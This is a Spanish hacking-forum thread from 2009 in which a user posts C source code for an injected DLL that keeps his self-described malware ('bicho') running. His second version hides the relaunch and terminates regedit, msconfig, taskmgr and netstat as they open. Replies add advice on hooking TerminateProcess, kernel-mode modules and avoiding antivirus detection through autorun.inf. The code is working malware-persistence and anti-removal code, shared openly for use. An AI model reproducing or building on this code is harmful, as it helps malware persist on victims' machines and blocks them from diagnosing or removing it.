elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
24 Mayo 2012, 16:23  


Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  Proceso Inmortal
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Proceso Inmortal  (Leído 1,983 veces)
Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Proceso Inmortal
« en: 20 Julio 2009, 19:11 »

 :)

  Ayer vi un post por alli y decidi hacer esto:

Código:
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{

if (reason== DLL_PROCESS_ATTACH)
   {
const size_t newsize = 100;
char nstring[newsize];
size_t convertedChars = 0;
int ban;
do
  {
   Sleep(1000);
   HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
   PROCESSENTRY32 procinfo={sizeof(PROCESSENTRY32)};
   ban=0;
   while(Process32Next(handle,&procinfo))
{
if(strcmp(procinfo.szExeFile,"bicho.exe")==0)
               {
CloseHandle(handle);
                ban=1;
       }
}
    if(!ban)
  {
  CloseHandle(handle);
  ShellExecute(0,"OPEN","\\bicho.exe",NULL,"directorio del bicho",SW_HIDE);
  }
}
   while(1);
  }
   return 1;
}

  Es una dll que se encarga de monitoriar el estado de  un proceso y en caso que no se este ejecutando lo ejecuta bueno realmente lo que hice fue revolver un poco el codigo de EON  :silbar: XD pero para que hacer lo que ya esta hecho  :) y alli le hice algunas modificaciones para que realice lo que necesito que es proteger mi programa para que no se cierre. Esta dll debe ser inyectada con un rootkit que puede ser parte del codigo del mismo bicho  :o  .

  Lo intente inyectar en explorer.exe pero al parecer la dll afecta al proceso y la pc se cuelga  :¬¬  Pero la inyecte en jusched.exe y funciona al pelo  ;D.

  Claro esto no es cien porciento seguro ya que si se sabe cual es el proceso infectado nada mas hay que detenerlo y listo se descarga la dll pero para eso estaria el bicho para que proteja la dll yo te cuido tu me cuidas  :)

  Ahora voy a ver si Hookeo TerminateToProcess jeje  :silbar:
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.190


Se siente observado ¬¬'


Ver Perfil
Re: Proceso Inmortal
« Respuesta #1 en: 20 Julio 2009, 19:21 »

Mírate esto, seguro que te gusta ;D

Código:
http://hsec.files.wordpress.com/2008/10/introduccion-a-la-programacion-de-drivers.pdf
;)
En línea

Arkangel_0x7C5

Desconectado Desconectado

Mensajes: 298



Ver Perfil
Re: Proceso Inmortal
« Respuesta #2 en: 21 Julio 2009, 00:49 »

si te inyectas en todos los procesos no tendras que preocuparte, de todas maneras, siempre se podrán pausar los procesos.

Y si lo dejan así dará lo mismo que verifiques si esta abierto

Saludos
En línea

Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Re: Proceso Inmortal
« Respuesta #3 en: 21 Julio 2009, 03:39 »

 ;D

cita de karcrack
Citar

  Si ya me descargue DDK y tengo una semana en eso  :o  eso es la joya de la corona jeje.

  Es total mente diferente a lo que estoy acostumbrado hacer pero  ¡ Valla que tiene aplicaciones ¡ de hecho ya lei un post por alli que hablaban sobre un bicho hecho en ese nivel definitivamente ese es el futuro del malware. Pero lo bueno siempre es mas caro y la programacion en DDK no es facil de asimilar de la noche a la mañana, ni tampoco es algo que todo el mundo asimile.

 ¡ Es muy Abstracto ¡ Xd.

  Ahora la cuestion que me inquieta es si se puede hacer todo el codigo en ddk osea un unico archivo sys que no dependa de ningun dll ni exe , y se me ocurrio que tal vez se pueda editar un autorun.inf que lo imstale sin usar ningun open o shellexecute que lo delate con los AV . esa seran incognitas que resolvere con el tiempo pero si se puede  ;D voy ha tener en que entretenerme.


  PD. El ASM es uno de los requerimientos para esto pero estuve googleando y no encontre donde descargarlo, si es que hay que descargarlo XD  :silbar:
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.190


Se siente observado ¬¬'


Ver Perfil
Re: Proceso Inmortal
« Respuesta #4 en: 21 Julio 2009, 09:28 »

Pásate por aquí:
Código:
https://foro.elhacker.net/asm/entry_point-t256455.0.html

Yo te recomiendo FASM, que es un ensamblador de ASM :D
En línea

Hendrix
In The Kernel Land
Colaborador
***
Conectado Conectado

Mensajes: 2.271



Ver Perfil WWW
Re: Proceso Inmortal
« Respuesta #5 en: 21 Julio 2009, 14:59 »

Analicemos este post  :D

Esta dll debe ser inyectada con un rootkit que puede ser parte del codigo del mismo bicho [....]

Ahora voy a ver si Hookeo TerminateToProcess jeje  :silbar:

Un rootkit no es un "Inyectador de Dll's". Segun la Wikipedia es lo siguiente:

"Un rootkit es una herramienta, o un grupo de ellas que tiene como finalidad esconderse a sí misma y esconder otros programas, procesos, archivos, directorios, claves de registro, y puertos que permiten al intruso mantener el acceso a un sistema para remotamente comandar acciones o extraer información sensible, a menudo con fines maliciosos o destructivos."

Lo segundo, no es TerminateToProcess, sino que es TerminateProcess, aunque yo primero hookearia OpenProcess.

si te inyectas en todos los procesos no tendras que preocuparte, de todas maneras, siempre se podrán pausar los procesos.

Y si lo dejan así dará lo mismo que verifiques si esta abierto

Saludos

Estas cosas, hacerlas en modo usuario son algo cutres, ya que solamente con el ProcessExplorer y con un pequeño código para descargar la Dll de memoria (o alguna aplicación que haga esto, hay muchas) se puede reparar. En modo Kernel también es posible saltarse esta "protección", aunque es algo más complicado, depende del grado de complejidad que le pongas.

de hecho ya lei un post por alli que hablaban sobre un bicho hecho en ese nivel definitivamente ese es el futuro del malware. Pero lo bueno siempre es mas caro y la programacion en DDK no es facil de asimilar [...]

Ahora la cuestion que me inquieta es si se puede hacer todo el codigo en ddk osea un unico archivo sys que no dependa de ningun dll ni exe , y se me ocurrio que tal vez se pueda editar un autorun.inf que lo imstale sin usar ningun open o shellexecute que lo delate con los AV . esa seran incognitas que resolvere con el tiempo pero si se puede  ;D voy ha tener en que entretenerme.


  PD. El ASM es uno de los requerimientos para esto pero estuve googleando y no encontre donde descargarlo, si es que hay que descargarlo XD  :silbar:

  • No es el futuro del malware, hace ya años que los virus utilizan el modo kernel para aprovechar sus ventajas. Había quienes lograban saltar a Ring0 directamente desde Ring3 (Chernobyl en Win 9x). Actualmente es muy complicado ejecutar codigo en R0 desde R3, hace unos meses ley que con un fallo en las IOCTL's puedes hacer que el driver vulnerable ejecutara direcciones de memoria que quisieras, aunque no recuerdo a que niveles se podia apuntar (creo que solo a R0, por lo tanto no serviria de mucho).
  • No es programacion en DDK, sino programación de modulos del Kernel de  Windows  :)
  • Necesitas cargar en modulo con algun ejecutable propio o, como mínimo, registrarlo en el registro para que se ejecute en el próximo arranque de sistema
  • Te tienes que descargar un ensamblador y linkeador (suele venir junto), el ASM es un lenguaje, al igual que el C/C++, VB; etc.  ;)

Un Saludo  :D
En línea

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Re: Proceso Inmortal
« Respuesta #6 en: 23 Julio 2009, 01:04 »

 Gracias Hendrix por las correcciones ;D

  Bueno estuve viendo el codigo y me pregunte si se podia hacer esto jeje  :silbar:

Citar
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{

   if (reason== DLL_PROCESS_ATTACH)
     {
       unsigned long exitCode;
       nt pid;
       const size_t newsize = 100;
       char nstring[newsize];
       size_t convertedChars = 0;
       int ban;
       do
          {
            Sleep(1000);
            HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
            PROCESSENTRY32 procinfo={sizeof(PROCESSENTRY32)};
            ban=0;
            while(Process32Next(handle,&procinfo))
      {
                    if(strcmp(procinfo.szExeFile,"Project1.exe")==0)
        {
                        ban=1;
         }
      if(strcmp(procinfo.szExeFile,"regedit.exe")==0||strcmp(procinfo.szExeFile,"msconfig.exe")==0||strcmp(procinfo.szExeFile,"taskmgr.exe")==0||strcmp(procinfo.szExeFile,"netstat.exe")==0)
       {
        HANDLE h1;
        pid=procinfo.th32ProcessID;
        h1=OpenProcess(PROCESS_ALL_ACCESS,false,pid);
        bool ban2=0;
        if(h1!=NULL)
                       {
           GetExitCodeProcess(h1, &exitCode);
           TerminateProcess(h1, exitCode);
           CloseHandle(h1);
           ban2=true;
           }
        if(!ban2)
          CloseHandle(h1);
     }
            }
         if(!ban)
            {
             ShellExecute(0,"OPEN","d:\\Project1.exe",NULL,"d:\\",SW_HIDE);
            }
         CloseHandle(handle);
    }
   while(1);
 }
return 1;
}

No he hookeado nada todavia pero vaya que funciona  :laugh:
Todavia no se descargarlo por lo que me toca reiniciar mi pc  :-\  de todas maneras voy ha ver si se puede en msdos ;).
Saludos
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
inmortal FXSAPIDebugLogFile
Windows
Ciberemule 7 7,100 Último mensaje 30 Diciembre 2010, 22:11
por Randomize
si fueras inmortal... « 1 2 »
Foro Libre
Mini_Nauta 28 1,510 Último mensaje 31 Diciembre 2011, 04:06
por reagea
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines